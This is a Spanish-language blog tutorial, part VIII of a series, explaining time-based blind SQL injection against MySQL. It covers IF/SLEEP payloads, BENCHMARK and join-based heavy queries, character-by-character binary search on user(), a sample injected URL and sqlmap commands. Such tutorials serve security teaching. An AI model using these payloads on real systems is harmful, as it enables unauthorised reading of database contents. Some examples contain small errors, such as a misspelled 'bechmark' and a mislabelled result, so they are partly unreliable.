martes, 8 de noviembre de 2011

SQL Injection Web Attacks [Parte VIII]

Vaya, ya ha pasado bastante tiempo desde el capítulo VII, a ver si termino esta serie antes que acabe el año xD

Bueno, como el tema de las inyecciones SQL es bastante amplio difícilmente podré abarcarlo todo aunque si creo poder hacer una introducción, poner ejemplos y al final algunas referencias para que cada uno pueda seguir investigando.

Siguiendo con las inyecciones SQL ciegas, hoy toca hablar de las inyecciones basadas en tiempo de respuesta: Time Based BSQLi.

Cuando hablamos de las inyecciones "Response Based" o también llamadas "Boolean Based" (en sqlmap) vimos que para deducir la información comparábamos las páginas de respuesta identificando básicamente dos tipos: la "página de verdadero" y la "página de falso" que alternaban dependiendo de si la clausula WHERE arrojaba verdadero o falso respectivamente. Esto funciona perfectamente cuando la consulta donde inyectamos es un SELECT. Al conseguir que el WHERE arroje falso, la respuesta de la consulta será un arreglo vacío y ante ello la aplicación seguramente devolverá una página de error o similar (nuestra "página de falso")

Pero ¿Y si la consulta no es un SELECT sino un UPDATE, DELETE o INSERT? Esas consultas no devuelven nada a la aplicación y por tanto no hay posibilidad de conseguir una "página de falso". La respuesta de la web será siempre la misma ¿Cómo podemos explotar una inyección de ese tipo?

Además de la respuesta, existe otro comportamiento de la aplicación web que podemos manipular para extraer datos por inferencia: el tiempo. La idea es inyectar una condición que de ser verdadera provoque un retardo de unos cuantos segundos en la respuesta. Así, si la aplicación responde inmediatamente significará un falso pero si demora sabremos que es un verdadero. Para esto podemos usar las funciones IF y SLEEP de MySQL. Veamos:

Por ejemplo:

mysql> select if(1=1,sleep(5),0);
+--------------------+
| if(1=1,sleep(5),0) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.00 sec)

mysql> select if(1=0,sleep(5),0);
+--------------------+
| if(1=0,sleep(5),0) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)

Luego podemos usar el IF para evaluar una condición arbitraria y empezar a inferir la información de la base de datos caracter por caracter tal como lo hacíamos con las inyecciones Response Based. La única diferencia es que ahora nos guiaremos por el tiempo de respuesta.

Por ejemplo:

select if((select ascii(mid(user(),1,1)))>128,sleep(5),0); --> (0.00 sec) FALSE
select if((select ascii(mid(user(),1,1)))>64,sleep(5),0);  --> (5.00 sec) TRUE
select if((select ascii(mid(user(),1,1)))>96,sleep(5),0);  --> (5.00 sec) TRUE
select if((select ascii(mid(user(),1,1)))>112,sleep(5),0); --> (5.00 sec) TRUE
select if((select ascii(mid(user(),1,1)))>120,sleep(5),0); --> (0.00 sec) FALSE
select if((select ascii(mid(user(),1,1)))>116,sleep(5),0); --> (0.00 sec) FALSE
select if((select ascii(mid(user(),1,1)))>114,sleep(5),0); --> (0.00 sec) FALSE
select if((select ascii(mid(user(),1,1)))>113,sleep(5),0); --> (5.00 sec) TRUE

Como antes, también empleamos la búsqueda binaria para agilizar el proceso.

Del ejemplo se puede inferir que el código ascii que corresponde con la primera letra del nombre del usuario es 114, es decir la letra es "r" (de "root").

La forma de meter el IF dentro de la inyección será más o menos así:

index.php?id=23 and 0=IF(...)%23

Time Based using Heavy Queries

La función SLEEP que usamos para generar el retardo en la respuesta fue introducida en la versión 5.0.12 de MySQL por lo que si el sistema objetivo corre sobre una versión inferior de la base de datos no podremos disponer de ella. Si ese es el caso podemos generar el retardo de otra manera: inyectando consultas pesadas (Heavy Queries).

Una consulta pesada es aquella que exige mucho procesamiento por parte de la base de datos y en consecuencia su ejecución tomará algo más de tiempo en comparación con una consulta normal. Ese es el efecto buscado.

A diferencia de SLEEP, los tiempos de retardo generados usando consultas pesadas dependen de algunos factores como la consulta inyectada, la velocidad del CPU y el ancho de banda. Así que varían de acuerdo al sistema objetivo por lo que habrá que "tunnear" la inyección hasta generar el tiempo de retardo deseado.

BENCHMARK

Es una función de MySQL que se usa para pruebas de rendimiento. Lo único que hace es repetir una cantidad arbitraria de veces cualquier instrucción que le indiquemos.

Por ejemplo:

mysql> select benchmark(999999,sha(rand()));
+-------------------------------+
| benchmark(999999,sha(rand())) |
+-------------------------------+
|                             0 |
+-------------------------------+
1 row in set (2.04 sec)

En el ejemplo pedimos calcular 999999 veces el hash SHA de un número aleatorio y esto demora aproximadamente dos segundos en mi PC. Puedes variar tanto el número de veces como la instrucción para tunnear la inyección a tu gusto.

select if((select ascii(mid(user(),1,1)))>128,bechmark(999999,sha(rand())),0); --> (0.00 sec) TRUE
...

JOINS

Otra forma de generar una consulta pesada es usando "joins". Los joins son consultas que cruzan información de multiples tablas para obtener un reporte. Para ello hacen un producto cartesiano de las tablas en cuestión, esto es, multiplican cada fila de la primera tabla por todas las filas de la tabla siguiente y el resultado de estas dos por la siguiente y así en cadena. Dependiendo del número de tablas y la cantidad de registros que tengan, un join puede demorar algo de tiempo en ser procesado.

Veremos un ejemplo para MySQL, aunque se pueden hacer joins en cualquier base de datos relacional.

mysql> select count(*) from information_schema.columns a, information_schema.columns b;
+----------+
| count(*) |
+----------+
| 42250000 |
+----------+
1 row in set (1.62 sec)

En el ejemplo hemos hecho un join de la tabla "information_schema.columns" contra si misma. En este caso es necesario especificar un alias para cada instancia de la tabla ("a" y "b"). Como puedes observar la consulta demora aproximadamente un segundo y medio en procesarse.

Al igual que antes podemos meter esta consulta dentro de un IF.

mysql> select if(1=1,(select count(*) from information_schema.columns a, information_schema.columns b),0);
+---------------------------------------------------------------------------------------------+
| if(1=1,(select count(*) from information_schema.columns a, information_schema.columns b)<0,0) |
+---------------------------------------------------------------------------------------------+
|                                                                                           0 |
+---------------------------------------------------------------------------------------------+
1 row in set (1.62 sec)

mysql> select if(1=0,(select count(*) from information_schema.columns a, information_schema.columns b),0);
+---------------------------------------------------------------------------------------------+
| if(1=0,(select count(*) from information_schema.columns a, information_schema.columns b)<0,0) |
+---------------------------------------------------------------------------------------------+
|                                                                                           0 |
+---------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

Automatización con sqlmap

Como habíamos visto antes "technique" sirve para indicar la técnica de explotación. En este caso podemos utilizar el valor "T" para hacer una explotación por Time Based.

$ ./sqlmap.py --url="http://example.com?id=23" -p id --technique="T"

Además tenemos el parámetro "time-sec" que sirve para indicar el número de segundos del retardo.

$ ./sqlmap.py --url="http://example.com?id=23" -p id --technique="T" --time-sec="5"

Referencias:

[1] "SQL Injection Attacks and Defense" (pág. 219)
http://www.mediafire.com/?7yqmkn5bx1z9j4y

[2] "Time-Based Blind SQL Injection using Heavy Queries"
http://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf

[3]  "sqlmap user's manual" (pág. 28)
http://sqlmap.sourceforge.net/doc/README.pdf

Saludos.

Otros capítulos de la serie:

No hay comentarios:

Publicar un comentario